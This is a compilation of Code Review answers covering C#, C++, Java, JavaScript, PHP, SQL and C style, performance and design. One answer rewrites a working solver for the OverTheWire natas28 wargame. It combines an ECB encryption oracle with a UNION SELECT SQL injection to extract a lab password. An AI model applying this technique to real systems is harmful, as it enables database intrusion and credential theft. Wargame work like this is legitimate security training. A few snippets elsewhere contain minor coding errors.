    if(words.Count() == 0 || maxWordsPerCombination == 0)
    {
        return;
    }

    foreach(var word in words)
    {
        GenerateWordCombinations(words.Where(x => x != word), prefix + word + " ", maxWordsPerCombination - 1, combinations);
        combinations.Add(prefix + word);
    }
}

Things to note about the alternative code above:

I've ignored user input
There's two versions of GenerateWordCombinations, the private one which is recursive and a public one which can be called from clients.  The public one accepts a list of words to search for combinations and the maximum number of words to find in each combination.  The number of words is optional and defaults to null, so that if it's not supplied the number of words in the supplied list can be used instead.
Rather than printing directly to the console, the GenerateWordCombinations methods add the combinations to a list and then returns the list to the caller.
The code uses some of the collection extension methods to do some of the heavy lifting.
Combinations are output in a different order from your original application.


Disclaimer:

There is no review for the crypto
The pieces of code below are based on a slightly modified code where the nested functions and lambda functions are renamed and extracted out to ease my understanding

Consistent spelling

It looks like nothing but having a mix of cypher and cipher makes the code tedious to read/update. Try to be consistent even if both spellings are valid.

Improving _block_size

A few things can be improved in _block_size:

Avoid calling len more than once on a given ciphertext (as of now, len is called twice on the first and last ciphertext computed).
Avoid performing the computation for an empty plaintext more than twice.
Avoid having to keep track of the count idx explicitly. We could use itertools.count to have this done automatically.

The first 2 points could be handled using additional variables and rewriting the loop. Then, taking into account the last point, we get:

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len > pre_len:
            return cipher_len - pre_len

Improving _prefix_size

The logic around indexing makes it look more complicated that it really is. Using a variable for the current block and the previous block could make this clearer.

It is not clear what cipher_a means. We initialise it with "" but the code later on would not work with that value (TypeError: a bytes-like object is required, not 'str').
We should fail in a more explicit way when then value is not found. (This can be detected using the not-so-famous else for for loop which gets executed when the loops ends "normally", without a break).

Similarly, in the second loop when nothing is found, we return an implicit None which leads to another error (TypeError: 'NoneType' object is not iterable).

At this stage, we have:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block
    else: # no break
        assert False # Handle error properly here

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)
    assert False # Handle error properly here

Or if you do not plan to handle errors properly:

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)

Improving natas28

The whole logic is pretty complicated. It probably deserves some explanations. Also, the variable names do not look very obvious to me.

The modulo computation could be slightly simplified. Indeed, in Python, x % y has the same sign as y. You could write: (-len(sql) % block_size)

The computations performed with index could probably be simplified: we add index "a" to a string, then compute the overall length, then substract index.

sql = " UNION ALL SELECT concat(username, 0x3A ,password) FROM users #"
sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

Simplify SQL and parsing

You write your query to get something under the format username:password when you only care about the password.

Conclusion

I haven't changed much in your code. Just details here and there. I'm still wrapping my head around the crypto techniques used but it sounds very interesting.

import requests
import re
import base64
from urllib.parse import quote, unquote
import itertools

def cipher_text(session, url, plain_text):
    return base64.b64decode(unquote(session.post(url, data={"query":plain_text}).url.split("query=")[1]))

def get_block_size(session, url):
    pre_len = len(cipher_text(session, url, ''))
    for idx in itertools.count(1):
        cipher_len = len(cipher_text(session, url, 'a' * idx))
        if cipher_len > pre_len:
            return cipher_len - pre_len

def get_prefix_size(session, url):
    block_size = get_block_size(session, url)
    cipher = cipher_text(session, url, 'a' * block_size * 3)
    prev_block = None
    for i in range(0, len(cipher), block_size):
        block = cipher[i:i+block_size]
        if block == prev_block:
            break
        prev_block = block

    for i in range(block_size):
        cipher = cipher_text(session, url, 'a' * (i + block_size))
        if block in cipher:
            return block_size, i, cipher.index(block)

def natas28(url):
    session = requests.Session()
    block_size, index, cipher_size = get_prefix_size(session, url)
    cipher = cipher_text(session, url, 'a'* (block_size // 2))
    beg, end = cipher[:cipher_size], cipher[cipher_size:]

    sql = " UNION ALL SELECT password FROM users #"
    sql_with_suffix = sql + 'b' * (-len(sql) % block_size)

    ct = cipher_text(session, url, 'a' * index + sql_with_suffix)
    e_sql = ct[cipher_size:cipher_size+len(sql_with_suffix)]

    response = session.get(url + "search.php/?query=", params={"query": base64.b64encode(beg + e_sql + end)})
    return re.findall(r"<li>(.{32})<\/li>", response.text)[0]

if __name__ == '__main__':
     password = natas28('http://natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF@natas28.natas.labs.overthewire.org/')
     print("Password = " + password)


From a once over

You seem to be missing a comma after </div>'
You seem to be missing a comma after SW_lng:map.getBounds().getSouthWest()
This code is reviewable, still, next time make sure there are no syntax errors..
Hard coding (34.05, -118.245) is wrong, get it from your Angular model/controller
Why prefix all your functions with _, except for initialize ?
Hard coding "http://localhost:1625/ocpu/library/imyApp/R/gen_cluster/json" is bad
Production code should not have console.log
You are not using the variable currentLayer
You are not using the parameter filters in _getClusters
You should not create a new listener function for each marker in _setMarkers, you could create 1 function before the loop with a reference to map. This might cause performance problems
You should merge _toggleControls and $(".mapControls .open").click(, it does not look DRY

All in all, I find the Google Maps API unwieldy, and because of that I do not think this is too much. However, you do need to something with the configuration logic, right now it looks akward.


Registering layers in a web mapping library. API design

Since namespaces are always optional, you can follow the common JavaScript convention and put them at the end of the arguments list:

Map()
.add(object, namespace1)
.remove(namespace1)
.on(events, handler, namespace2)
.off(events)
.on(otherEvents, handler)

As you say, events describe both an event and a namespace. More specifically, they describe an event on a namespace or the whole map, which is why it makes sense to add back the "layer" object. This is the simplest way to show the difference between "event on a layer" and "event on all layers":

var l = Layer()            // the layer constructor
.add(object)               // method to add an element
.setVisibility(boolean)    // mothod to set the visibilty
.on("click", handler)      // do XXX when clicking on an object of this layer
.off("click")

var m = Map()              // the map constructor
.add(l)                    // method to add a layer or element
.on("hover", handler)      // do XXX when hovering the whole map

You should also wonder what you're going to do with bubbling events. If there's an event which is not handled in the layer, is it going to bubble up and be handled by the map? For all browsers? Those issues (and many more) are already covered by jQuery, which is why I don't suggest rewriting half of their event-handling code and simply use it directly. Why not writing your API as a jQuery plugin?


Adding multiple items of different categories to one object

With regards to the last couple of lines, one thing you could do from a functional perspective is to bind the first argument like so:

function bindFirst(func, firstArgument) {
    return function(...arguments) {
        return func(firstArgument, ...arguments);
    }
}

const addToHead = bindFirst(addItem, 'head');

addToHead('head_item_1', 100, 'img');
...

You could also use data structure like a Map and loop through it:

let newItems = new Map([
    [
        'head',
        [{
            name: 'head_item_1',
            cost: 100,
            img: 'img'
        },
        {
            name: 'head_item_1',
            cost: 100,
            img: 'img'
        }]
    ], [
        'cape',
        [{
            name: 'cape_item_1',
            cost: 100,
            img: 'img'
        },
        {
            name: 'cape_item_1',
            cost: 200,
            img: 'img'
        }]
    ]
]);

items.forEach((items, slot) => {
    const addToSlot = bindFirst(addItem, slot);
    items.forEach(item => {
        addToSlot(item.name, item.cost, item.img);
    });
});

Have you considered that maybe equipment and item should be classes? A class called Equipment could have a method like addItem(slot, item) where item is an object of type Item, which has a constructor with a similar signature to your addItem function.


The short answer is yes, you succeeded in implementing encapsulation 100% correctly.

Still, I have some smaller problems with your code:

Useless method

I noticed that you have a setter method for the Variable solHealth, which you should rename in my opinion to health. The problem is that the setter is useless as the method has the private access modifier and this method should never be used by the class itself. The only thing that you need to change when deleting this method is that you would have to change the constructor to be like this:

public Soldier() {
    solHealth = 100;
}

This would still follow the concept of encapsulation, as encapsulation is simply a process of wrapping code and data together into a single unit, that allows only minimal manipulation from outer classes.

Comments

If you are commenting your code you can easily implement documentation comments with which you can create JavaDoc pages. This is the standard of how to document methods, classes, and global variables/constants.

Example

/**
 * Set's the soldiers health to the specified value
 *
 * @param health
 */
public void setHealth(int health) {
    // Code here
}


Efficiency
The main issue with std::function<void()> is that it is heavy in memory usage. It comes in at a minimum of 32 bytes in G++ and (if memory serves me right) 40 bytes in VC++2015 32-bit.
See: http://coliru.stacked-crooked.com/a/9503ca27f1faded8
Solution
Don't use std::function<void()>.

A lightweight implementation
I promise you that we can reduce the on-scope-exit object's size to a tiny 1 byte when all we want to do is take an action at the end of a scope by using lambdas and templates.
Note: The implementation requires the <utility> and <type_traits> headers.
Step 1: Make a helper function that creates a lambda that calls a callable object.
template <typename F, typename... Args>
auto make_lambda( F&& f, Args&&... f_args ) noexcept
{
    // important to capture by copy to prevent argument lifetime issues
    return [=] () mutable -> std::result_of_t<F( Args... )>
    {
        return std::forward<F>( f )( std::forward<Args>( args )... );
    };
}

This function creates a lambda that calls the argument callable. We do this so that we can store it for later use; for our use case, in a destructor so that it is called at the end of a scope.
As of C++14, the noexcept specifier is not part of a function's type, so when C++17 comes around and changes that, you'll probably want to come back to this function. See this for more information: https://stackoverflow.com/q/33589752/2296177

Step 2: A function to generate the object that calls the stored lambda in its destructor.
template<class F>
auto on_scope_exit( F&& f ) noexcept
{
    class unique_scope_exit_t final
    {
    private:
        using fn_t = decltype( make_lambda( std::move( f ) ) );

        fn_t fn_;

    public:
        ~unique_scope_exit_t()
            noexcept( noexcept( fn_() ) )
        {
            fn_(); // call it in our destructor
        }

        unique_scope_exit_t( F&& fn ) // can be extended for complex lambdas
            noexcept( std::is_nothrow_move_constructible<fn_t>::value )
            : fn_{ make_lambda( std::move( fn ) ) } // take ownership and store the lambda
        {}

        unique_scope_exit_t( unique_scope_exit_t&& rhs )
            noexcept( std::is_nothrow_move_constructible<fn_t>::value )
            : fn_{ std::move( rhs.fn_ ) }
        {}

        unique_scope_exit_t( unique_scope_exit_t const& ) = delete;
        unique_scope_exit_t& operator=( unique_scope_exit_t const& ) = delete;
        unique_scope_exit_t& operator=( unique_scope_exit_t&& ) = delete;
    };
    return unique_scope_exit_t{ std::move( f ) }; // we take ownership of argument 'f'
}

Having a class definition that is local to our function allows us to use the deduced type of the template type argument.
Take advantage of the <type_traits> header to make it optimal by declaring everything noexcept when possible.
You can provide a variadic template to the constructor in order to make full usage of make_lambda() and so that you can support complex end-of-scope actions. I leave this implementation to you, it is trivial.
The C++17 standard will guarantee copy elision for the function return.

As promised, one of our objects takes a single byte when its lambda doesn't capture anything. That is:
auto test = on_scope_exit( [] { std::cout << "exiting\n"; } );
static_assert( sizeof( decltype( test ) ) == 1, "!" );

This is as it implies... the size of our generated object only takes as many bytes as it needs.
We have achieved an implementation that is both flexible and efficient (in speed and size).
Sample usage
Similar to your usage, however there are no macros involved (personal preference). You can easily wrap this in a macro if it makes you happy.
#include <iostream>

int main()
{
    // remember to store the call's return to prevent it from running early
    auto exit1 = on_scope_exit( [] { std::cout << "1\n"; } );
    auto exit2 = on_scope_exit( [] { std::cout << "2\n"; } );
    auto exit3 = on_scope_exit( [] { std::cout << "3\n"; } );

    std::cout << "4\n";
    std::cout << "5\n";
}

Full demo: http://coliru.stacked-crooked.com/a/da1afa40ae073523

Due to comments.
Other possible implementations
As noted by Loki Astari and Nikita Kakuev, the previous implementation can increase the executable's size if it is used with many (very many) different types.
In a regular use case, I still think this is a better approach than constantly constructing and destroying 32+ bytes. For example, VC++2015's std::function<void()> is 40 bytes in 32-bit mode and 64 bytes in 64-bit mode.
As Nikita Kakuev points out here, make_lambda()'s signature might be over-generalized for this specific case, so it could be omitted in favour of a more succinct on_scope_exit().
The original thought was that you could make unique_scope_exit_t's constructor take a variadic template in order to allow complex end-of-scope actions by storing callables whose operator() have parameters.
If this isn't desired, we can simply remove make_lambda() and provide the following implementation of on_scope_exit() with a reduced executable size hit:
template<class F>
auto on_scope_exit( F&& f )
    noexcept( std::is_nothrow_move_constructible<F>::value )
{
    class unique_scope_exit_t final
    {
        F f_;

    public:
        ~unique_scope_exit_t()
            noexcept( noexcept( f_() ) )
        {
            f_();
        }

        explicit unique_scope_exit_t( F&& f )
            noexcept( std::is_nothrow_move_constructible<F>::value )
            : f_( std::move( f ) )
        {}

        unique_scope_exit_t( unique_scope_exit_t&& rhs )
            noexcept( std::is_nothrow_move_constructible<F>::value )
            : f_{ std::move( rhs.f_ ) }
        {}

        unique_scope_exit_t( unique_scope_exit_t const& ) = delete;
        unique_scope_exit_t& operator=( unique_scope_exit_t const& ) = delete;
        unique_scope_exit_t& operator=( unique_scope_exit_t&& ) = delete;
    };
    return unique_scope_exit_t{ std::move( f ) };
}

This provides semantics similar to a std::unique_ptr<> solution while making intent clear and keeping size down to what is actually used (std::unique_ptr<> does store a pointer of type T after all). Usage remains as before.


The first thing to do to clean up the code would be to make a

struct pos {
   int x;
   int y;
};

This will simplify the remaining of the code, making it easier to reason about the logic.

For example, right now it is possible to set the vehicle' velocity (direction) to {1,1}, which your problem statement doesn't allow.

You should then also define an equality comparison for your location.

Your move function seems to have hard-coded the number of vehicles in play. Instead you should pass it a std::vector<Vehicle> by reference, and use size().

Once you fix these things, the logic of the move function is quite OK. It is quadratic in complexity, but that is OK for few cars. If you ever intend to increase the number of cars by orders of magnitude, there are two ways of improving the code:

Limit the world, and keep a grid where you mark if it is occupied or not.
Store the cars in a std::unordered_map, with their position as key. Then you can look up a position in constant time.

Edit: as suggested in the comment below, using namespace std should not be used. There are several really good reasons for not using it, and the only reason to use it is "I'm lazy". Look around other answers on Code Review for reasoning. This point comes up in about half of the C++ questions.


Just cleaned up your method a little: (Guard condition, better variable name, less nesting)

public function getStuff($brand)
{
    if(!$this->getWebcorners()) return false;
    $fallback=false;
    foreach ($this->getWebcorners() as $webcorner) {
        if(strtolower($webcorner->getBrand()->getName())== $brand) return $webcorner;
        if($webcorner->getBrandId()==NULL) $fallback=$webcorner;
    }
    return $fallback;
}

If you want to return the first item without a brand you have to add the $fallback==false condition to your second if. Otherwise you use the last suitable item.


Fill ArrayList of String with empty String to maintain order of elements

Have you considered that ArrayList could be a little overkill?  If your list will always be a defined length, you could use a String[] to hold your data.  That way, the default value is always null and you don't have to worry about IndexOutOfBoundsExceptions.

You can still use constructs like for(String value : csvRow) to access your data, and if you need the finesse of the Collections API, you can always use Arrays.asList(csvRow).

If you're looking for NullPointerException protection, you can run Arrays.fill(csvRow, "") first to ensure that all indexes return an empty string unless otherwise populated.

String tmp = "placeholder";

String[] csvRow = new String[14];
Arrays.fill(csvRow, "");
// Add values for C1-C5 (dummy data)
for(int i=0;i<5;i++) csvRow[i] = tmp;

// Add in optional values
List<String> optionalValues = Collections.emptyList();
if(!optionalValues.isEmpty()) {
    int i = 6;
    for(Iterator<String> ovI = optionalValues.iterator();
            ovI.hasNext() && i < csvRow.length;i++){
        csvRow[i] = ovI.next();
    }
}
// Add C12 if not already present
if("".equals(csvRow[11])) csvRow[11] = tmp;


Hard to give full answer without understanding the ReaderFeedback table definition.  I will point to some areas of concern.

A LIKE clause that has a wildcard at its beginning will never be able to use a typical B-TREE index on the field you are comparing against.  This will always require a full table scan.  For this reason, you probably will need to look at using full text search with appropriate full text index.
You are using sub-selects, which oftentimes introduce performance problems. Can this be designed away?
It appears you are implementing a parent-child tree hierarchy, which typically is a little painful to work with in MySQL (or most any other relational database).  You might want to check out this article: http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/  on managing hierarchical data in MySQL.  You might for example find better read performance from using the nested sets model shown there (though nested sets are typically more complex when it comes to inserting/updating nodes).


Finding the number of boxes that can fit into a truck using JavaScript

You have a bug in the output: your whole program always does the equivalent of

alert("You can fit up to 1 box into the truck");

One way to prevent that kind of error is to use "Yoda conditions", which put the constant first:

if (1 == boxCount)

I think boxCount is a slightly better name than boxNumber, which sounds like it could be referring to the nth box.

Your if-else brace style is probably one of the rarest and least favoured ones possible.  The braces, being aligned with neither the outer level nor the inner level, create visual clutter.

I'd actually prefer to use a ternary expression instead of repeating the entire statement:

alert("You can fit up to " +
      boxCount + (1 == boxCount ? " box" : " boxes") +
      " into the truck");

totalHeight, totalWidth, totalLength are misnamed, in my opinion.  You're not totalling anything. Furthermore, the values that you store in them are not lengths (with metres as the unit), but unitless numbers.  I think heightMultiples, widthMultiples, and lengthMultiples would be more appropriate.

In real life, the problem that you are trying to solve is trickier than that.  You have the two options for orienting each box, assuming that the boxes need to stay upright.  If you are allowed to tip boxes over on their side, then you have six possible orientations altogether.  You would have to try all allowable orientations for optimal packing.

On the other hand, if the boxes are strapped to pallets, you may have no choice at all in the orientation, due to the way the forklift needs to enter the truck.

Fortunately, packing rectangular prisms is a relatively simple problem, compared to other objects. ☺


It is slow because you use slow algorithm ("too many loops"). This problem might be a bit hard for beginner. If you want to solve it anyway, be sure to search for tutorials on string algorithms (try to look at http://en.wikipedia.org/wiki/Aho-Corasick and change it a bit). Maybe dynamic programming will help you with this or other problems.

PS I hope you understand nobody here can not spoil the solution. Have fun with programming.

You could always try another problems:

Timus one of the best: http://acm.timus.ru/problemset.aspx

Project Euler if you like mathematics: http://projecteuler.net/

(Please feel free to edit and add some more.)


Draggable toolbar header class, inheriting from a draggable parent class

I thought I just leave a general review if you don't mind.

MDN has this to say about __proto__:

  Warning: While Object.prototype.__proto__ is supported today in most browsers, its existence and exact behavior has only been standardized in the ECMAScript 6 specification as a legacy feature to ensure compatibility for web browsers. For better support, it is recommended that only Object.getPrototypeOf() be used instead.

The names of some parameters are somewhat short.

function(eH)
function(ev)
function(cnv)

The members of the class that they are modifiying however, have long and descriptive names:

var eventHandler
var canvas

Classes are made to be reused. As a user of your class, I don't really care about how you name your internal variables or if they even exist. But I'd be really happy to see some readable self documenting method parameter names show up in my auto completion.

setPosition = function(dX, dY)

Imo, if I want to set the position, I'd expect the parameters to be x and y. If they start with a d I'd expect some difference in position as the behaviour of the function. The method name implies an absolute position, but the parameter names imply a relative one.


A clone_ptr that does not require T to have a clone method

Prefer to use Copy and Swap Idiom

clone_ptr& operator=( const clone_ptr& other )
{
    clear();
    ptr = other.cloner(other.ptr);
    cloner = other.cloner;
    return *this;
}

Or

clone_ptr& operator=(clone_ptr copy)
{
    copy.swap(*this);
    return *this;
}

No need to clear on move assignment

clone_ptr& operator=( clone_ptr&& other )
{
    // clear();   No need to do that.
                  The destructor of `other` will do that at some point.
    swap(other);
    return *this;
}

Easier to write as:

clone_ptr& operator=(clone_ptr copy)
{
    copy.swap(*this);
    return *this;
}

Personally I don't see the point in havin output() and operator<<

I would just combine them into operator<< and make it a friend (also declare it in the class).


Verify if user has at least one of required roles to be able to update a record owned by a certain user

try
{
    PoolId = new Guid(GetAllNodes("ownerconfig")[0].Attributes["value"].InnerText);
    GetAllNodes("roles")[0].Attributes["value"].InnerText.Split(';').ToList().ForEach(x => allowedRoles.Add(new Guid(x)));
}
catch (Exception ex)
{
    throw new InvalidPluginExecutionException(string.Format("Error deserializing plugin step XML config: {0}", ex.Message));
}

This is really bad. You are hiding the original exception. If you don't want to pass it as an inner exception at least do ex.ToString() to be able to see the stack-trace later if necessary.

As a matter of fact this try/catch could be a separate method that gets the PoolId from the xml you could then just return the PoolId without the helper variable outside this try/catch block.

if (xrmObjects.PluginContext.MessageName.ToLower() == "update" && xrmObjects.PluginContext.PreEntityImages.Contains("entity")) {

Make the method return if the condition is false to reduce nesting.

if (PoolId == Guid.Empty || allowedRoles.Count == 0)
   return;

and

if (!userRoles.Any(x => allowedRoles.Any(y => y == x.RoleId.Value)))
   throw new InvalidPluginExecutionException(...)

I suggest you always use curly braces {}. It can prevent a lot of errors.

if (((EntityReference)entity["ownerid"]).Id == PoolId)

Same here, return if false.

using (XrmServiceContext ctx = new XrmServiceContext(xrmObjects.Service))

and

var userRoles =

Be consistant. Use either var or types everywhere.

var userRoles = ctx.SystemUserRolesSet.Where(x => x.SystemUserId == xrmObjects.PluginContext.InitiatingUserId).ToList();

//check if current user has one of required roles
if (!userRoles.Any(x => allowedRoles.Any(y => y == x.RoleId.Value)))

You can merge it into:

var userHasRequiredRole =
    ctx.SystemUserRolesSet
    .Where(x => x.SystemUserId == xrmObjects.PluginContext.InitiatingUserId)
    .Any(x => allowedRoles.Any(y => y == x.RoleId.Value));

so you can remove the comment and simply write:

if (!userHasRequiredRole) { throw... }

or even shorter:

var userHasRequiredRole =
    ctx.SystemUserRolesSet
    .Any(x =>
        x.SystemUserId == xrmObjects.PluginContext.InitiatingUserId &&
        allowedRoles.Any(y => y == x.RoleId.Value));

although personally I'd use the Where+Any, it looks cleaner


Finding the most common character in a string with a hash map

Normally operations on a hashmap should be pretty much constant (O(n)=1), so it's something like O(n) = n + 2*m (number of characters in the String plus twice the amount of different characters in the string, since you iterate twice over the map to find the max and the corresponding character).
Memory should also be pretty much linear, since you are storing one int per different character.

As Collections.max iterates once over the map, iterating again over it to get the corresponding character is pretty much wasted. You could remove the Collections.max call and start by iterating over the entries and remember the one with the highest count, thus saving the whole Collections.max iteration ( getting a O(n) = n + m runtime).

Your hashmap will probably need to resize itself once or twice (at least). You can reduce the need for that by choosing a good start size for your hashmap (aprox. the number of different characters in your string, which depends on the language), but normally that shouldn't be that much gain (depending on the length of the sentence and the amount of different characters in the sentence).


Regular expression for application version

It seems to me that you're using * when it looks like that's not the behaviour you want.

i.e. this bit -(b|r)* do you really mean a dash followed by either a 'b' or an 'r' zero or more times? I think it's more likely that you meant more along the lines of: there can be a dash followed by a 'b' or an 'r' but there doesn't have to be.

Do you want 1.1.1-brrrrrrrrrrr1 to match? What's the goal of the regex, is it just to see if it fits the pattern or do you want to use it to get the various numbers out?

Btw: If you don't care about groups you can use (?: ) instead of () to create non capturing groups.

Edit:

I think your regex needs to be more like: ^([1-9]\\d*)\\.(\\d+)\\.(\\d+)(?:-[br]{1}[0-9]?\\d*)?$ This makes everything following the first 3 numbers optional.

I do wonder whether a regex is the right option though... If you know the strings you are comparing are definitely well formed version numbers just do normal string manipulation.

// Pseudocode
String versionNumber = "1.1.1-r1";
int indexOfDash = versionNumber.indexOf("-");
if (indexOfDash != -1)
{
    versionNumber = versionNumber.substring(0, indexOfDash);
}
String[] numbers = versionNumber.split(".");

// Now compare your numbers.

I generally like to avoid regular expressions as they are a lot more difficult to get right than people give them credit for. However, if you also need to check that it is a well formed version number you probably want to use the regex option.

In fact, I got the regex wrong - edited now. I changed the matching for the final part of the version number and added in the anchors.


Remove a query string parameter from a URL

The problem with your design is that you assume the URL is actually well formed. In my experience (writing web crawlers) we found that greater than 80% of URL's on the web are badly formatted the biggest offender is the first ? that separates the attributes from the target (this was often a &).

Now if you URL is badly formatted like this:

http://stackoverflow.com&Country=US&City=Seattle&State=WA
                   //   ^ Notice the bad format

Your code will break that URL and turn it into:

http://stackoverflow.comUS&City=Seattle&State=WA

Probably not what you want.

Also URL as they pass through systems tend to be normalized (so they can be sorted and all sorts of other things). So your URL may have started of as the above but because it was normalized your query parameters have been re-ordered.

 http://stackoverflow.com?City=Seattle&Country=US&State=WA
                  // Query parameters ordered lexicographically.

Now if you just go and remove the attribute names they may not be in the order you expect.

Now imagine a well formatted URL but with another domain.

http://No.Country=US.For.Old.Men.com?Country=US&City=Seattle&State=WA

Which is a perfectly valid domain. But your code is going to strip out a segment for the domain (and thus make the URL invalid).

http://No..For.Old.Men.com?Country=US&City=Seattle&State=WA
     //  ^^ two dotes consecutively is not valid domain.

Your best bet is to get some already written software for handling URL's there are just too many corner cases for you to write and expect to handle the URL correctly.


I don't see why the typenames NodePtr and NodeIter are public.  Node itself is private, and none of the public interface uses these two types, so I think they should be private, too.

I'm not sure I like this interface:
V Get(K key);

This means we can only cache value types.  Not only that, but there's no way to indicate "not in the cache"; I see the implementation default-constructs a return value in that case - further limiting the types that can be used.

Expired() expects that the mutex is held, but is missing a comment stating that, so it took too long to confirm that it's used correctly.

What's going on here?

NodePtr node = std::make_shared<Node>(Node{key, value, timestamp});

Why construct a Node and pass it to make_shared() to copy?  It would be better to make_shared() directly:
NodePtr node = std::make_shared<Node>(key, value, timestamp);


Checking that a 6-digit number is not repeated and not in sequence

I would write a separate function for validating a string (so that it has a name and you can talk about it).

Then, I would not use regular expressions for it but just simple code:

The length must be 6.
Only digits are allowed.
For each pair of adjacent digits, their difference must be at least 2.

That should be much easier to understand than your regular expression.


Simplify splitting a String into alpha and numeric parts

First of all, yes there is a crazy regex you can give to String.split:

"[^A-Z0-9]+|(?<=[A-Z])(?=[0-9])|(?<=[0-9])(?=[A-Z])"

What this means is to split on any sequence of characters which aren't digits or capital letters as well as between any occurrence of a capital letter followed by a digit or any digit followed by a capital letter. The trick here is to match the space between a capital letter and a digit (or vice-versa) without consuming the letter or the digit. For this we use look-behind to match the part before the split and look-ahead to match the part after the split.

However as you've probably noticed, the above regex is quite a bit more complicated than your VALID_PATTERN. This is because what you're really doing is trying to extract certain parts from the string, not to split it.

So finding all the parts of the string which match the pattern and putting them in a list is the more natural approach to the problem. This is what your code does, but it does so in a needlessly complicated way. You can greatly simplify your code, by simply using Pattern.matcher like this:

private static final Pattern VALID_PATTERN = Pattern.compile("[0-9]+|[A-Z]+");

private List<String> parse(String toParse) {
    List<String> chunks = new LinkedList<String>();
    Matcher matcher = VALID_PATTERN.matcher(toParse);
    while (matcher.find()) {
        chunks.add( matcher.group() );
    }
    return chunks;
}

If you do something like this more than once, you might want to refactor the body of this method into a method findAll which takes the string and the pattern as arguments, and then call it as findAll(toParse, VALID_PATTERN) in parse.


A dynamic string array that's loopable without requiring a count

review if this code can be improved upon for any redundancy or optimizations.

Micro optimization

String duplication does not take advantage of the pre-calculation of the length.

    data[i] = malloc(sizeof(char) * strlen(*items) + 1);
    if (data[i] == NULL) goto err;
    strcpy(data[i], *items);

For longer strings, code may (or may not) improve with the below.  This tended to improve things.  Less so today (usually a tie) unless in embedded platforms.

    size_t sz = strlen(*items) + 1;
    data[i] = malloc(sz);  // dealing with `char` strings, no need for sizeof(char)
    if (data[i] == NULL) goto err;
    memcpy(data[i], *items, sz);

Note: sizeof(char) * strlen(*items) + 1 is logically wrong.  Should have been sizeof(char) * (strlen(*items) + 1), yet since sizeof(char) is 1, makes no arithmetic difference.

Redundancy

No need to start at 0 and add 1: Start at 1.  Better to use size_t for sizing.  Better to size to the referenced type, than explicitly code the type.

// int size = 0;
size_t size = 1;
for (char **ptr = items; *ptr; ptr++) {
    size++;
}
// char **data = malloc(sizeof(char *) * (size + 1));
char **data = malloc(sizeof *data * size);

Even better, just subtract:

for (char **ptr = items; *ptr; ptr++) {
    ;
}
size_t size = ptr - items;
char **data = malloc(sizeof *data * size);

Design flaw

if (data[i] == NULL) goto err; fails to free prior allocations.

Design

The for (int i = 0; *items; items++, i++) increments one pointer with a ++ and indexes the other.  I'd expect the same for both.

Caller flaw

free(data); leaks the individual strings. Recommend coding a freeList(char **).


Two index computations differing in execution time

These two statements are functionally identical:

idx_velo_avg = (size_t)((velo_avg) * (funmaps_velo->map_velo_step_recip) + 0.5);

idx_velo_eff = (size_t)((velo_eff) * (funmaps_velo->map_velo_step_recip) + 0.5);

The only difference is the variable on the left side of the multiplication. Since velo_eff is calculated just before the second of these statements, we can safely assume that the slowdown isn't caused by a cache miss.

So I think the only possible explanation is that the processor has to wait for the result of the square root calculation to emerge from the processing pipeline before it can start calculating idx_velo_eff.

Try calculating the square root first, and see if that helps:

velo_eff = sqrt(velo_pos_k * velo_pos_k + accel * delta_s);
idx_velo_avg = equidIND(velo_avg, funmaps_velo->map_velo_step_recip);
idx_velo_eff = equidIND(velo_eff, funmaps_velo->map_velo_step_recip);

Also, check your compiler optimization settings. A decent compiler should be able to do this sort of thing for you.


Thoughts on using curly-brackets-less while loop with a try/catch?

I would not do this. It breaks too far from any typical convention for very little gain.

I'm personally against omitting braces at all; except in very narrow circumstances. I've seen many questions on stack overflow that stem from people omitting braces and not being able to figure out why "only certain lines are running".

This also appears to look like a new language construct and feels a little jolting at first. It takes an extra second to realize what's going on.

Considering how short the lines are, indentation shouldn't be a problem; and even if it is, there are other ways of addressing that problem. I would write this in the standard way

async function doAjax() {
  const data = { /* stuff */ }
  const retryLimit = 2;
  let retryCount = 0;
  let found = false;

  while (!found && retryCount <= retryLimit) {
    try {
      let serverResponse = await $.get("url", data);
      // Do stuff

    } catch (err) {
      retryCount++;
    }
  }

  // Do more stuff
}

If you like playing around with making code read interestingly and creating language constructs, I recommend playing around with a language with Clojure (or another lisp). Doing experimental things with the syntax is a little more expected in a language like that.


Well, the first point is that you are still allocating memory for every single merge. That's expensive.

Second, you are always copying all elements. That's inefficient too.

Third, prefer to move instead of copying. Some types are move-only, others just far more efficiently moved.

Try something along these lines:

#include <iterator>
#include <algorithm>
#include <utility>
#include <memory>

template<class It>
void MergeSortMerge(It begin, It mid,
    typename std::iterator_traits<It>::value_type* aux)
{
    while(begin != mid && !(*mid < *begin))
        ++begin;
    if(begin != mid)
        std::move(begin, mid, aux);
    for(; begin != mid; ++begin) {
        if(*mid < *aux) {
            *begin = std::move(*mid);
            ++mid;
        } else {
            *begin = std::move(*aux);
            ++aux;
        }
    }
}

template<class It>
void MergeSortImpl(It begin, It end,
    typename std::iterator_traits<It>::value_type* aux)
{
    const auto size = std::distance(begin, end);
    if(size < 2)
        return;
    const auto mid = std::next(begin, size / 2);
    MergeSortImpl(begin, mid, aux);
    MergeSortImpl(mid, end, aux);
    MergeSortMerge(begin, mid, aux);
}

template<class It>
void MergeSort(It begin, It end) {
    const auto size = std::distance(begin, end);
    if(size < 2)
        return;
    using T = typename std::iterator_traits<It>::value_type;
    std::unique_ptr<T[]> aux = new T[size / 2];
    MergeSortImpl(begin, end, aux.get());
}

The one style-comment I have is that streaming a single character as a char is marginally more efficient than as a length-1-string.

